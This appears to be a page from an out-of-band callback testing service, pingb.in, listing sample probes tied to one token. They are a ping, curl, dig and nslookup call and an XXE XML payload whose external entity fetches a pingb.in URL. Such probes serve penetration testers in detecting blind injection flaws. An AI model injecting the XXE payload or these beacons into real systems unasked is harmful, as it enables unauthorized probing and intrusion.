$ ping -c1 -p 0086649c39ac96b175b0087bdcd89500 pingb.in
 
$ curl pingb.in/p/86649c39ac96b175b0087bdcd895
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/86649c39ac96b175b0087bdcd895">]>
    <foo>&xxe;</foo>
 
$ dig 86649c39ac96b175b0087bdcd895 @pingb.in
 
C:\> nslookup 86649c39ac96b175b0087bdcd895 pingb.in
 
Waiting for ping...